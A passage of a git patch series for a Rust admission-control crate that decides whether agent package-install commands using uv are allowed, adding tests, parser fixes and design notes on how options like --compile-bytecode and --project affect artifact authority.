`uv.toml`, copy uv configuration semantics into Wardnet, infer ambient `UV_CONFIG_FILE` or `UV_TORCH_BACKEND`, or infer that an EgressWeave transport allow would authorize a different package source. +The repair must preserve the existing direct `uv pip install` capability, existing exact `name==version` artifact-source identity, `--require-hashes`, `--no-deps`, and explicit index/TLS override controls. It must not widen Wardnet's supported uv execution grammar, parse or trust a selected `uv.toml` or `pyproject.toml`, inspect a selected project, copy uv configuration semantics into Wardnet, infer ambient `UV_CONFIG_FILE` or `UV_TORCH_BACKEND`, or infer that an EgressWeave transport allow would authorize a different package source. + +Astral explicitly documents that `--project` has no effect in the `uv pip` interface. Wardnet must therefore keep the existing `uv pip install --project ...` indirect-artifact-source control without relabeling it as project configuration authority. The project-root evidence classification is deliberately limited to the uv-owned parser slice of project-aware `uv run` commands, before the delegated child argv begins. Three alternatives were considered: @@ -32,19 +34,24 @@ Issue #389 records the next source-authority evidence defect. The configuration The minimum #390 repair reuses the existing `uv_active_command_index`; it does not create another uv parser. After locating the active top-level command it requires exact `pip` followed by exact `install`, and scans only that pip-install argument slice for exact `--torch-backend` or `--torch-backend=...`. Delegated `uv run` child argv is not interpreted as uv package-source authority. `supported_install_command` remains unchanged, so an otherwise unsupported global-option command remains generically forbidden in addition to carrying the causal `alternate_trust_root` reason. Exact submitted argv identity remains part of admission evidence. +Issue #391 records the project-root evidence defect. Exact formatted test-only head `153e212d778e824ae4b4a495c53531137ba1ae53`, stacked directly on canonical `#129@81c35ec36d1289446b54d2b937e42f8fc9df2751`, added attached and separate `uv run --project` hostile cases while production source remained unchanged. Hosted CI run `34732327912`, rust job `103657281899`, passed checkout, toolchain and formatting, then failed in the Test step with the hostile command classified only as `[ForbiddenCommand, ArtifactNotApproved]`; the required `AlternateTrustRoot` causal evidence was absent. Delegated-child, nearby-spelling and `uv pip --project` exclusion controls passed on the same exact RED head. + +The minimum #392 repair reuses the existing active-command and `uv_run_owned_argument_end` parser boundary. It classifies only exact `--project` / `--project=...` tokens in the uv-owned `run` slice, before delegated child argv. It does not widen `supported_install_command`, inspect project files, or reinterpret `uv pip --project` as configuration authority. This keeps unsupported `uv run` fail-closed while preserving the stable causal `alternate_trust_root` reason and exact submitted-argv audit identity. + ## Risk and follow-up -The CLI selectors are only observable configuration channels. Environment-provided configuration such as `UV_CONFIG_FILE` and `UV_TORCH_BACKEND`, inherited user/system files, and effective runtime filesystem visibility cannot be proven from the structured argv alone and remain downstream runtime/configuration authority. Agent Artifact Admission must continue to fail closed on caller-controlled argv channels it can observe without claiming control over ambient execution state. +The CLI selectors are only observable configuration channels. Environment-provided configuration such as `UV_CONFIG_FILE` and `UV_TORCH_BACKEND`, inherited user/system files, selected-project contents, and effective runtime filesystem visibility cannot be proven from the structured argv alone and remain downstream runtime/configuration authority. Agent Artifact Admission must continue to fail closed on caller-controlled argv channels it can observe without claiming control over ambient execution state. -Astral marks `torch-backend` as preview behavior that may change. The parser therefore deliberately binds only the documented exact option spelling and `uv pip install` source-authority slice rather than copying backend/index tables or broader uv semantics into Wardnet. Future uv changes require a fresh hostile contract and exact-head evidence before policy expansion. +Astral marks `torch-backend` as preview behavior that may change. The parser therefore deliberately binds only the documented exact option spelling and `uv pip install` source-authority slice rather than copying backend/index tables or broader uv semantics into Wardnet. The `--project` repair likewise binds only the documented exact selector in the uv-owned project-aware parser slice and deliberately excludes `uv pip`, where Astral states the option has no effect. Future uv changes require a fresh hostile contract and exact-head evidence before policy expansion. -A child merge into #129 is not protected-product completion. #264 and #389 remain open until their effective Agent Artifact Admission lineage reaches protected `main` or a verified complete successor, and each successor #129 head must reacquire exact-head CI, fuzz, security, SAST and delegated CodeQL evidence without predecessor transfer. +A child merge into #129 is not protected-product completion. #264, #389 and #391 remain open until their effective Agent Artifact Admission lineage reaches protected `main` or a verified complete successor, and each successor #129 head must reacquire exact-head CI, fuzz, security, SAST and delegated CodeQL evidence without predecessor transfer. ## Traceability - CWE-15 describes the weakness class in which externally controlled input changes system or configuration settings that affect behavior. The uv configuration and package-source selectors are treated here as admission authority changes rather than ordinary argument detail. -- NIST SSDF PW.4 directs software producers to reuse existing, well-secured software when feasible instead of duplicating functionality, with particular importance for security functionality. Reusing Wardnet's already-reviewed bounded `uv_active_command_index` parser rather than adding a second uv parser aligns with that practice and reduces divergent security interpretation. The repository already carries the redistributable NIST SP 800-218 source PDF under `docs/papers/`; no duplicate copy is needed for this change. -- Astral's current CLI reference is authoritative for the top-level `uv [OPTIONS] ` grammar and global `--color` option. This is why evidence classification cannot assume that `pip` is always the first token after the executable. +- NIST SSDF PW.4 directs software producers to reuse existing, well-secured software when feasible instead of duplicating functionality, with particular importance for security functionality. Reusing Wardnet's already-reviewed bounded `uv_active_command_index` and `uv_run_owned_argument_end` parser boundaries rather than adding a second uv parser aligns with that practice and reduces divergent security interpretation. The repository already carries the redistributable NIST SP 800-218 source PDF under `docs/papers/`; no duplicate copy is needed for this change. +- Astral's current CLI reference is authoritative for the top-level `uv [OPTIONS] ` grammar, project-root selector, and the statement that `--project` has no effect in the `uv pip` interface. This is why project-root evidence is command-phase sensitive rather than a global substring rule. +- Astral's configuration-files reference documents project-level `pyproject.toml` and `uv.toml` configuration. Combined with the CLI project-root semantics, this establishes caller-selected project discovery as configuration authority for project-aware commands without requiring Wardnet to parse the selected files. - Astral's settings reference states that `torch-backend` changes package fetching for the PyTorch ecosystem, ignores configured index URLs for those packages, and is respected only by `uv pip` commands. This establishes `--torch-backend` as package-source authority rather than a presentation or performance flag. - Astral's PyTorch integration guide documents current command-line forms such as `uv pip install torch --torch-backend=auto` and specific backend selection. These vendor pages are linked rather than copied into `docs/papers/`: this change does not assert a redistribution license for snapshots of the Astral documentation. From 77e53fa86b4d2a408a5aa1eed75c62e0153bb560 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 11:29:30 +0900 Subject: [PATCH 601/702] test(security): expose uv run bytecode authority gap --- ...bytecode_compilation_authority_contract.rs | 101 ++++++++++++++++++ 1 file changed, 101 insertions(+) diff --git a/crates/agent-artifact-admission/tests/uv_bytecode_compilation_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_bytecode_compilation_authority_contract.rs index 423caf02..64b48478 100644 --- a/crates/agent-artifact-admission/tests/uv_bytecode_compilation_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/uv_bytecode_compilation_authority_contract.rs @@ -1,6 +1,7 @@ use wardnet_agent_artifact_admission::{ AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, + sha256_hex, }; #[test] @@ -29,6 +30,106 @@ fn uv_compile_alias_cannot_inherit_artifact_approval() { assert_bytecode_compilation_is_blocked(&policy, &intent); } +#[test] +fn uv_run_bytecode_compilation_preserves_generated_artifact_evidence() { + for compile_flag in ["--compile-bytecode", "--compile"] { + let (policy, mut intent) = approved_uv_install(); + intent.argv = vec![ + "uv".to_string(), + "run".to_string(), + compile_flag.to_string(), + "python".to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ForbiddenCommand), + "unsupported uv run must remain fail-closed: {:?}", + decision.reason_codes + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved), + "uv-owned bytecode compilation must retain generated-artifact authority evidence: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()), + "audit identity must remain bound to the exact submitted argv" + ); + } +} + +#[test] +fn delegated_uv_run_child_compile_flags_are_not_reinterpreted_as_uv_authority() { + for compile_flag in ["--compile-bytecode", "--compile"] { + let (policy, mut intent) = approved_uv_install(); + intent.argv = vec![ + "uv".to_string(), + "run".to_string(), + "python".to_string(), + compile_flag.to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ForbiddenCommand) + ); + assert!( + !decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved), + "delegated child argv must not be reinterpreted as uv bytecode authority: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()) + ); + } +} + +#[test] +fn nearby_uv_run_compile_spelling_does_not_inherit_uv_semantics() { + let (policy, mut intent) = approved_uv_install(); + intent.argv = vec![ + "uv".to_string(), + "run".to_string(), + "--compile-bytecodex".to_string(), + "python".to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ForbiddenCommand) + ); + assert!( + !decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved), + "Wardnet must not invent uv bytecode semantics for nearby option spellings: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()) + ); +} + fn assert_bytecode_compilation_is_blocked(policy: &AdmissionPolicy, intent: &InstallIntent) { let decision = admission_decision(policy, intent); From 55ec37672a6d343541596d4637522c8c2220e0b9 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 11:32:12 +0900 Subject: [PATCH 602/702] test(security): isolate uv run bytecode authority RED --- .../tests/uv_bytecode_compilation_authority_contract.rs | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/crates/agent-artifact-admission/tests/uv_bytecode_compilation_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_bytecode_compilation_authority_contract.rs index 64b48478..7d0685ba 100644 --- a/crates/agent-artifact-admission/tests/uv_bytecode_compilation_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/uv_bytecode_compilation_authority_contract.rs @@ -38,7 +38,7 @@ fn uv_run_bytecode_compilation_preserves_generated_artifact_evidence() { "uv".to_string(), "run".to_string(), compile_flag.to_string(), - "python".to_string(), + "cwl-example==1.2.3".to_string(), ]; let decision = admission_decision(&policy, &intent); @@ -73,7 +73,7 @@ fn delegated_uv_run_child_compile_flags_are_not_reinterpreted_as_uv_authority() intent.argv = vec![ "uv".to_string(), "run".to_string(), - "python".to_string(), + "cwl-example==1.2.3".to_string(), compile_flag.to_string(), ]; @@ -106,7 +106,7 @@ fn nearby_uv_run_compile_spelling_does_not_inherit_uv_semantics() { "uv".to_string(), "run".to_string(), "--compile-bytecodex".to_string(), - "python".to_string(), + "cwl-example==1.2.3".to_string(), ]; let decision = admission_decision(&policy, &intent); From ef03ece5f7447549a849661bf0dc889e25a3cba4 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 11:34:43 +0900 Subject: [PATCH 603/702] fix(security): classify uv run bytecode authority --- .../src/uv_bytecode_compilation_authority.rs | 74 +++++++++++++++++-- 1 file changed, 66 insertions(+), 8 deletions(-) diff --git a/crates/agent-artifact-admission/src/uv_bytecode_compilation_authority.rs b/crates/agent-artifact-admission/src/uv_bytecode_compilation_authority.rs index 3e578c5d..d48327fb 100644 --- a/crates/agent-artifact-admission/src/uv_bytecode_compilation_authority.rs +++ b/crates/agent-artifact-admission/src/uv_bytecode_compilation_authority.rs @@ -1,23 +1,48 @@ use crate::InstallIntent; +use crate::policy::{uv_active_command_index, uv_run_owned_argument_end}; -/// Return whether an approved `uv pip install` asks uv to eagerly generate -/// interpreter-dependent bytecode that is outside the reviewed artifact identity. +/// Return whether uv is asked to eagerly generate interpreter-dependent bytecode +/// outside the reviewed artifact identity. Supported `uv pip install` keeps its +/// existing option-phase semantics; unsupported `uv run` is classified only +/// through uv-owned argv before delegation to the child command. pub(crate) fn requests_unapproved_uv_bytecode_compilation(intent: &InstallIntent) -> bool { requests_bytecode_compilation(&intent.argv) } fn requests_bytecode_compilation(argv: &[String]) -> bool { - let [executable, subcommand, command, arguments @ ..] = argv else { + let Some(executable) = argv.first().map(String::as_str) else { return false; }; - if executable != "uv" || subcommand != "pip" || command != "install" { + if executable != "uv" { return false; } - arguments + let arguments = &argv[1..]; + if arguments.first().is_some_and(|argument| argument == "pip") + && arguments + .get(1) + .is_some_and(|argument| argument == "install") + { + return arguments[2..] + .iter() + .take_while(|argument| argument.as_str() != "--") + .any(is_compile_selector); + } + + let Some(run_index) = uv_active_command_index(arguments) else { + return false; + }; + if arguments[run_index] != "run" { + return false; + } + + arguments[..uv_run_owned_argument_end(arguments, run_index)] .iter() - .take_while(|argument| argument.as_str() != "--") - .any(|argument| matches!(argument.as_str(), "--compile-bytecode" | "--compile")) + .any(is_compile_selector) +} + +fn is_compile_selector(argument: &String) -> bool { + matches!(argument.as_str(), "--compile-bytecode" | "--compile") } #[cfg(test)] @@ -32,7 +57,7 @@ mod tests { } #[test] - fn matcher_is_bounded_to_uv_pip_install_and_option_phase() { + fn matcher_preserves_uv_pip_install_option_phase() { for arguments in [ vec!["uv", "pip", "install", "pkg==1", "--compile-bytecode"], vec!["uv", "pip", "install", "--compile", "pkg==1"], @@ -54,4 +79,37 @@ mod tests { ); } } + + #[test] + fn matcher_classifies_only_uv_owned_run_compile_selectors() { + for arguments in [ + vec!["uv", "run", "--compile-bytecode", "pkg==1"], + vec!["uv", "run", "--compile", "pkg==1"], + vec![ + "uv", + "--color", + "auto", + "run", + "--compile-bytecode", + "pkg==1", + ], + ] { + assert!( + requests_bytecode_compilation(&argv(&arguments)), + "uv-owned run selector must retain bytecode-materialization authority: {arguments:?}" + ); + } + + for arguments in [ + vec!["uv", "run", "pkg==1", "--compile-bytecode"], + vec!["uv", "run", "pkg==1", "--compile"], + vec!["uv", "run", "--", "--compile-bytecode"], + vec!["uv", "run", "--compile-bytecodex", "pkg==1"], + ] { + assert!( + !requests_bytecode_compilation(&argv(&arguments)), + "delegated or nearby compile-like argv must not be reinterpreted as uv authority: {arguments:?}" + ); + } + } } From bd7fd63b5d1d2ec7772f4838fa995445a68dd604 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 11:35:14 +0900 Subject: [PATCH 604/702] docs(security): trace uv bytecode authority --- .../uv-bytecode-compilation-authority.md | 27 +++++++++++++++++++ 1 file changed, 27 insertions(+) create mode 100644 docs/doctoring/uv-bytecode-compilation-authority.md diff --git a/docs/doctoring/uv-bytecode-compilation-authority.md b/docs/doctoring/uv-bytecode-compilation-authority.md new file mode 100644 index 00000000..41d95a2e --- /dev/null +++ b/docs/doctoring/uv-bytecode-compilation-authority.md @@ -0,0 +1,27 @@ +# uv bytecode-compilation authority trace + +Verified 2026-09-13. This note extends the Agent Artifact Admission research trace for one bounded policy decision. It does not grant `uv run` execution authority and does not transfer runtime ownership into Wardnet. + +## Decision + +Astral documents `--compile-bytecode` (alias `--compile`) as caller-selected bytecode materialization. For install operations, uv compiles installed or reinstalled Python files. For sync operations such as `uv sync` and `uv run`, uv states that the option processes the entire `site-packages` directory, including packages that are not otherwise being modified by the operation. The resulting `.pyc` state therefore is not represented by the reviewed package artifact coordinate alone. + +Wardnet records that authority as `ReasonCode::ArtifactNotApproved`. Existing supported `uv pip install` semantics are unchanged. Unsupported `uv run` remains blocked by `ReasonCode::ForbiddenCommand`; when the exact compile selector is owned by uv before the delegated child-command boundary, the decision additionally records `ArtifactNotApproved`. A compile-looking token after the delegated child begins, after the `uv run --` boundary, or with a nearby spelling such as `--compile-bytecodex` does not inherit uv bytecode semantics. + +The parser reuses the shared uv command/delegation helpers already used by admission trust classification. This keeps one command-phase model instead of introducing a second interpretation of `uv run` argv. Exact submitted argv remains the audit identity through `command_sha256`. + +## Ownership boundary + +Wardnet owns pre-execution admission policy and causal security evidence only. It does not execute uv, compile Python bytecode, enumerate or mutate `site-packages`, select an interpreter, or provide filesystem/session isolation. Those effective-execution controls remain with the canonical runtime and transport owners (`quarantine-sandbox-runtime`, EgressWeave, and their released contracts). AppGuardrail remains the static package/security-analysis owner; contextual-orchestrator remains the Agent/LLM orchestration owner. + +## RED/GREEN evidence contract + +Issue #393 and Draft PR #394 carry the executable regression. The RED fixture deliberately retains the exact approved artifact argument in argv so baseline artifact mismatch cannot manufacture `ArtifactNotApproved`. The accepted RED requires the uv-owned compile selector to be the only missing causal classifier while delegated-child and nearby-spelling controls remain negative. GREEN requires the same exact contract plus existing `uv pip install` behavior, formatting, locked workspace tests, strict Clippy, and applicable fuzz/security gates. + +This testing pattern follows NIST SSDF's emphasis on verifying software against security requirements and retaining evidence that supports secure-development decisions. Wardnet does not claim NIST certification or conformance from this individual control. + +## APA 7 references + +Astral Software, Inc. (2026). *Commands: uv CLI reference.* https://docs.astral.sh/uv/reference/cli/ + +National Institute of Standards and Technology. (2022). *Secure Software Development Framework (SSDF) Version 1.1: Recommendations for mitigating the risk of software vulnerabilities (NIST Special Publication 800-218).* https://doi.org/10.6028/NIST.SP.800-218 From d42ebcf2f20a05dfca33c7ce9e94b62f75db64d9 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 11:35:34 +0900 Subject: [PATCH 605/702] refactor(security): keep uv compile selector borrow narrow --- .../src/uv_bytecode_compilation_authority.rs | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/crates/agent-artifact-admission/src/uv_bytecode_compilation_authority.rs b/crates/agent-artifact-admission/src/uv_bytecode_compilation_authority.rs index d48327fb..a425360b 100644 --- a/crates/agent-artifact-admission/src/uv_bytecode_compilation_authority.rs +++ b/crates/agent-artifact-admission/src/uv_bytecode_compilation_authority.rs @@ -26,7 +26,7 @@ fn requests_bytecode_compilation(argv: &[String]) -> bool { return arguments[2..] .iter() .take_while(|argument| argument.as_str() != "--") - .any(is_compile_selector); + .any(|argument| is_compile_selector(argument)); } let Some(run_index) = uv_active_command_index(arguments) else { @@ -38,11 +38,11 @@ fn requests_bytecode_compilation(argv: &[String]) -> bool { arguments[..uv_run_owned_argument_end(arguments, run_index)] .iter() - .any(is_compile_selector) + .any(|argument| is_compile_selector(argument)) } -fn is_compile_selector(argument: &String) -> bool { - matches!(argument.as_str(), "--compile-bytecode" | "--compile") +fn is_compile_selector(argument: &str) -> bool { + matches!(argument, "--compile-bytecode" | "--compile") } #[cfg(test)] From af03a1aa7770bf7467d61ae872eb322bd4b71ffb Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 11:44:09 +0900 Subject: [PATCH 606/702] docs(rust): document uv bytecode authority helpers --- .../src/uv_bytecode_compilation_authority.rs | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/crates/agent-artifact-admission/src/uv_bytecode_compilation_authority.rs b/crates/agent-artifact-admission/src/uv_bytecode_compilation_authority.rs index a425360b..75fb4929 100644 --- a/crates/agent-artifact-admission/src/uv_bytecode_compilation_authority.rs +++ b/crates/agent-artifact-admission/src/uv_bytecode_compilation_authority.rs @@ -9,6 +9,9 @@ pub(crate) fn requests_unapproved_uv_bytecode_compilation(intent: &InstallIntent requests_bytecode_compilation(&intent.argv) } +/// Classify exact uv-owned compile selectors without reinterpreting delegated +/// child argv. The caller remains responsible for the separate allow/deny command +/// decision; this function only supplies causal generated-artifact evidence. fn requests_bytecode_compilation(argv: &[String]) -> bool { let Some(executable) = argv.first().map(String::as_str) else { return false; @@ -41,6 +44,8 @@ fn requests_bytecode_compilation(argv: &[String]) -> bool { .any(|argument| is_compile_selector(argument)) } +/// Match only Astral's documented eager bytecode selectors; nearby spellings are +/// intentionally not normalized into policy authority. fn is_compile_selector(argument: &str) -> bool { matches!(argument, "--compile-bytecode" | "--compile") } From 6c24a3d9d4e2f554649346fcb06222e01ff380e9 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 11:59:13 +0900 Subject: [PATCH 607/702] test(security): expose uv global bytecode authority gap --- ...bytecode_compilation_authority_contract.rs | 90 +++++++++++++++++++ 1 file changed, 90 insertions(+) diff --git a/crates/agent-artifact-admission/tests/uv_bytecode_compilation_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_bytecode_compilation_authority_contract.rs index 7d0685ba..c7771322 100644 --- a/crates/agent-artifact-admission/tests/uv_bytecode_compilation_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/uv_bytecode_compilation_authority_contract.rs @@ -130,6 +130,96 @@ fn nearby_uv_run_compile_spelling_does_not_inherit_uv_semantics() { ); } +#[test] +fn uv_global_options_preserve_pip_install_bytecode_authority_evidence() { + for compile_flag in ["--compile-bytecode", "--compile"] { + let (policy, mut intent) = approved_uv_install(); + intent.argv = vec![ + "uv".to_string(), + "--color".to_string(), + "never".to_string(), + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + compile_flag.to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ForbiddenCommand), + "global-option uv grammar remains outside the supported install command: {:?}", + decision.reason_codes + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved), + "uv pip install bytecode authority must survive reviewed global options: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()), + "audit identity must remain bound to the exact submitted argv" + ); + } +} + +#[test] +fn uv_global_option_controls_do_not_fabricate_pip_install_bytecode_authority() { + for argv in [ + vec![ + "uv", + "--color", + "never", + "pip", + "install", + "cwl-example==1.2.3", + "--require-hashes", + "--no-deps", + "--compile-bytecodex", + ], + vec![ + "uv", + "--color", + "never", + "pip", + "sync", + "cwl-example==1.2.3", + "--compile-bytecode", + ], + ] { + let (policy, mut intent) = approved_uv_install(); + intent.argv = argv.into_iter().map(str::to_string).collect(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ForbiddenCommand) + ); + assert!( + !decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved), + "nearby spelling or non-install pip command must not inherit bytecode authority: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()) + ); + } +} + fn assert_bytecode_compilation_is_blocked(policy: &AdmissionPolicy, intent: &InstallIntent) { let decision = admission_decision(policy, intent); From 164434f7e788764362495db947b98e4eff0668b8 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 12:08:55 +0900 Subject: [PATCH 608/702] fix(security): preserve uv global bytecode evidence --- .../src/uv_bytecode_compilation_authority.rs | 35 ++++++++++++++----- 1 file changed, 27 insertions(+), 8 deletions(-) diff --git a/crates/agent-artifact-admission/src/uv_bytecode_compilation_authority.rs b/crates/agent-artifact-admission/src/uv_bytecode_compilation_authority.rs index 75fb4929..edd9bda8 100644 --- a/crates/agent-artifact-admission/src/uv_bytecode_compilation_authority.rs +++ b/crates/agent-artifact-admission/src/uv_bytecode_compilation_authority.rs @@ -21,25 +21,26 @@ fn requests_bytecode_compilation(argv: &[String]) -> bool { } let arguments = &argv[1..]; - if arguments.first().is_some_and(|argument| argument == "pip") + let Some(command_index) = uv_active_command_index(arguments) else { + return false; + }; + + if arguments[command_index] == "pip" && arguments - .get(1) + .get(command_index + 1) .is_some_and(|argument| argument == "install") { - return arguments[2..] + return arguments[command_index + 2..] .iter() .take_while(|argument| argument.as_str() != "--") .any(|argument| is_compile_selector(argument)); } - let Some(run_index) = uv_active_command_index(arguments) else { - return false; - }; - if arguments[run_index] != "run" { + if arguments[command_index] != "run" { return false; } - arguments[..uv_run_owned_argument_end(arguments, run_index)] + arguments[..uv_run_owned_argument_end(arguments, command_index)] .iter() .any(|argument| is_compile_selector(argument)) } @@ -66,6 +67,15 @@ mod tests { for arguments in [ vec!["uv", "pip", "install", "pkg==1", "--compile-bytecode"], vec!["uv", "pip", "install", "--compile", "pkg==1"], + vec![ + "uv", + "--color", + "never", + "pip", + "install", + "pkg==1", + "--compile-bytecode", + ], ] { assert!(requests_bytecode_compilation(&argv(&arguments))); } @@ -77,6 +87,15 @@ mod tests { vec!["uv", "pip", "sync", "--compile"], vec!["uv", "pip", "install", "pkg==1"], vec!["uv", "pip", "install", "pkg==1", "--", "--compile"], + vec![ + "uv", + "--color", + "never", + "pip", + "sync", + "pkg==1", + "--compile-bytecode", + ], ] { assert!( !requests_bytecode_compilation(&argv(&arguments)), From f6e407f3d61bf2f1d0babf1b9aef8e0f9a327403 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 12:09:27 +0900 Subject: [PATCH 609/702] docs(security): trace uv global bytecode evidence --- docs/doctoring/uv-bytecode-compilation-authority.md | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) diff --git a/docs/doctoring/uv-bytecode-compilation-authority.md b/docs/doctoring/uv-bytecode-compilation-authority.md index 41d95a2e..4d7ccc3a 100644 --- a/docs/doctoring/uv-bytecode-compilation-authority.md +++ b/docs/doctoring/uv-bytecode-compilation-authority.md @@ -4,11 +4,11 @@ Verified 2026-09-13. This note extends the Agent Artifact Admission research tra ## Decision -Astral documents `--compile-bytecode` (alias `--compile`) as caller-selected bytecode materialization. For install operations, uv compiles installed or reinstalled Python files. For sync operations such as `uv sync` and `uv run`, uv states that the option processes the entire `site-packages` directory, including packages that are not otherwise being modified by the operation. The resulting `.pyc` state therefore is not represented by the reviewed package artifact coordinate alone. +Astral documents top-level uv usage as `uv [OPTIONS] ` and documents `--color` as a top-level output option. Astral also documents `--compile-bytecode` (alias `--compile`) as caller-selected bytecode materialization. For install operations such as `uv pip install`, uv compiles installed or reinstalled Python files. For sync operations such as `uv sync` and `uv run`, uv states that the option processes the entire `site-packages` directory, including packages that are not otherwise being modified by the operation. The resulting `.pyc` state therefore is not represented by the reviewed package artifact coordinate alone. -Wardnet records that authority as `ReasonCode::ArtifactNotApproved`. Existing supported `uv pip install` semantics are unchanged. Unsupported `uv run` remains blocked by `ReasonCode::ForbiddenCommand`; when the exact compile selector is owned by uv before the delegated child-command boundary, the decision additionally records `ArtifactNotApproved`. A compile-looking token after the delegated child begins, after the `uv run --` boundary, or with a nearby spelling such as `--compile-bytecodex` does not inherit uv bytecode semantics. +Wardnet records that authority as `ReasonCode::ArtifactNotApproved`. Existing supported `uv pip install` command eligibility is unchanged. A reviewed uv global option may precede the active `pip install` command without erasing the separate bytecode-materialization reason, even though that globally prefixed argv can remain outside Wardnet's supported install grammar and therefore also retain `ReasonCode::ForbiddenCommand`. Unsupported `uv run` remains blocked by `ForbiddenCommand`; when the exact compile selector is owned by uv before the delegated child-command boundary, the decision additionally records `ArtifactNotApproved`. A compile-looking token after the delegated child begins, after the `uv run --` boundary, on a non-install `uv pip` command, or with a nearby spelling such as `--compile-bytecodex` does not inherit uv bytecode semantics. -The parser reuses the shared uv command/delegation helpers already used by admission trust classification. This keeps one command-phase model instead of introducing a second interpretation of `uv run` argv. Exact submitted argv remains the audit identity through `command_sha256`. +The parser reuses the shared `uv_active_command_index` command-phase helper to identify the active top-level command after reviewed global options. Exact active `pip install` is inspected only from its install argument slice. `uv_run_owned_argument_end` remains the delegation boundary for `uv run`. This keeps one command-phase model instead of introducing a second interpretation of uv argv. `supported_install_command` is deliberately unchanged, and exact submitted argv remains the audit identity through `command_sha256`. ## Ownership boundary @@ -16,7 +16,11 @@ Wardnet owns pre-execution admission policy and causal security evidence only. I ## RED/GREEN evidence contract -Issue #393 and Draft PR #394 carry the executable regression. The RED fixture deliberately retains the exact approved artifact argument in argv so baseline artifact mismatch cannot manufacture `ArtifactNotApproved`. The accepted RED requires the uv-owned compile selector to be the only missing causal classifier while delegated-child and nearby-spelling controls remain negative. GREEN requires the same exact contract plus existing `uv pip install` behavior, formatting, locked workspace tests, strict Clippy, and applicable fuzz/security gates. +Issue #393 and Draft PR #394 established the first executable regression for uv-owned `uv run` compile selectors and their delegated-child boundary. Their accepted RED deliberately retained the exact approved artifact argument in argv so baseline artifact mismatch could not manufacture `ArtifactNotApproved`; the repair preserved existing `uv pip install` behavior and reused the shared uv parser helpers. + +Issue #395 and serialized Draft PR #396 extend that contract to reviewed global options before active `uv pip install`. The test-only exact head `6c24a3d9d4e2f554649346fcb06222e01ff380e9` kept production source byte-identical to its parent. Hosted CI `34734372758`, rust job `103662996596`, passed checkout, toolchain, and formatting, then failed in `cargo test --locked --workspace` specifically at `uv_global_options_preserve_pip_install_bytecode_authority_evidence`: the decision contained `[ForbiddenCommand]` but omitted `ArtifactNotApproved`. Nearby-spelling and non-install controls passed. That is the semantic RED for the current repair. + +GREEN requires the same hostile and negative-control contract on one unchanged exact head, plus formatting, locked workspace tests, strict Clippy, applicable fuzz/security gates, current review/thread clearance, and ordinary expected-head integration. No queued, skipped, predecessor, synthetic, or unrelated runner result is promoted as passing evidence. This testing pattern follows NIST SSDF's emphasis on verifying software against security requirements and retaining evidence that supports secure-development decisions. Wardnet does not claim NIST certification or conformance from this individual control. From ea21c8339f15b61fe1efbe4eb3a76fc83b570034 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 13:35:53 +0900 Subject: [PATCH 610/702] test(agent-admission): prove implicit uv Python download RED --- .../uv_python_download_safety_contract.rs | 127 ++++++++++++++++++ 1 file changed, 127 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/uv_python_download_safety_contract.rs diff --git a/crates/agent-artifact-admission/tests/uv_python_download_safety_contract.rs b/crates/agent-artifact-admission/tests/uv_python_download_safety_contract.rs new file mode 100644 index 00000000..3bb6cd21 --- /dev/null +++ b/crates/agent-artifact-admission/tests/uv_python_download_safety_contract.rs @@ -0,0 +1,127 @@ +use 